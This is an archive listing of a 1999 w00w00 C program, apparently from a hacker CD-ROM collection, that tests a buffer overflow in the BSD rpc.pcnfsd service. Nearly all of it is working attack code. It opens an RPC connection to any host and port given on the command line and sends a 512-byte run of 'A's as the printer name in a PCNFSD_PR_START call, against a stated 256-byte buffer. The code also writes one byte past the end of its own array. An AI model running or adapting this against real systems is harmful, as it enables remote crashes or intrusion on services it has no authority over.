home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / tests / pcnfsd / pcnfsd_clnt.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-06-07  |  2.1 KB  |  87 lines

  1. /* w00w00! */
  2. /* This is to test a vulnerability in OpenBSD's rpc.pcnfsd. */
  3. /* This might include NetBSD or other BSD implementations.  */
  4. /*                                                          */
  5. /* Shok (Matt Conover), shok@dataforce.net                  */
  6.  
  7. #include <rpc/rpc.h>
  8. #include <stdio.h>
  9. #include <memory.h> /* for memset */
  10. #include "pcnfsd.h"
  11. #include <netdb.h>
  12.  
  13. #if RPC_SVC
  14.  static void _msgout();
  15.  void msg_out(msg) char *msg; {_msgout(msg);}
  16. #endif
  17. #if RPC_HDR
  18.  extern void msg_out();
  19. #endif
  20.  
  21. /* Default timeout can be changed using clnt_control() */
  22. static struct timeval TIMEOUT = { 60, 0 };
  23.  
  24. pr_start_results *pcnfsd_pr_start_1(pr_start_args *argp, CLIENT *clnt);
  25.  
  26. void main(int argc, char **argv)
  27. {
  28.   CLIENT *cl;
  29.  
  30.   pr_start_args stra;
  31.  
  32.   struct hostent *he;
  33.   struct sockaddr_in saddr;
  34.   
  35.   char buf[512]; /* buffer to overflow is 256. */
  36.  
  37.   register int i;
  38.   int sock = RPC_ANYSOCK;
  39.  
  40.  
  41.  
  42.   if (argc < 3) {
  43.      printf("Usage: %s <host> <port>\n", argv[0]);
  44.      exit(1);
  45.   }
  46.  
  47.   if ((he = gethostbyname(argv[1])) == NULL) {
  48.      herror("gethostbyname");
  49.      exit(1);
  50.   }
  51.  
  52.   bcopy(he->h_addr, (caddr_t)&saddr.sin_addr, he->h_length);
  53.   saddr.sin_family = AF_INET;
  54.   saddr.sin_port   = htons(atoi(argv[2]));
  55.  
  56.   if ((cl = clnttcp_create(&saddr, PCNFSDPROG, PCNFSDVERS, &sock, 0, 0))
  57.     == NULL) {
  58.      clnt_pcreateerror("clnttcp_create");
  59.      exit(1);
  60.   }
  61.  
  62.   for (i = 0; i < sizeof(buf); i++) buf[i] = 'A';
  63.   buf[512] = '\0';
  64.  
  65.   bzero(&stra, sizeof(stra));
  66.   stra.system = "localhost"; /* /var/spool/righthere */
  67.   stra.pn     = buf;
  68.   stra.user   = "root";
  69.   stra.file  = "realfilename"; /* /var/spool/stra.system/right here */
  70.   stra.opts   = "\0";
  71.   /* final file (must exist) is /var/spool/system/file.spl */
  72.  
  73.   pcnfsd_pr_start_1(&stra, cl);
  74. }
  75.  
  76. pr_start_results *
  77. pcnfsd_pr_start_1(pr_start_args *argp, CLIENT *clnt)
  78. {
  79.     static pr_start_results clnt_res;
  80.  
  81.     memset((char *)&clnt_res, 0, sizeof(clnt_res));
  82.     if (clnt_call(clnt, PCNFSD_PR_START, (xdrproc_t) xdr_pr_start_args, argp, (xdrproc_t) xdr_pr_start_results, &clnt_res, TIMEOUT) != RPC_SUCCESS) {
  83.         return (NULL);
  84.     }
  85.     return (&clnt_res);
  86. }
  87.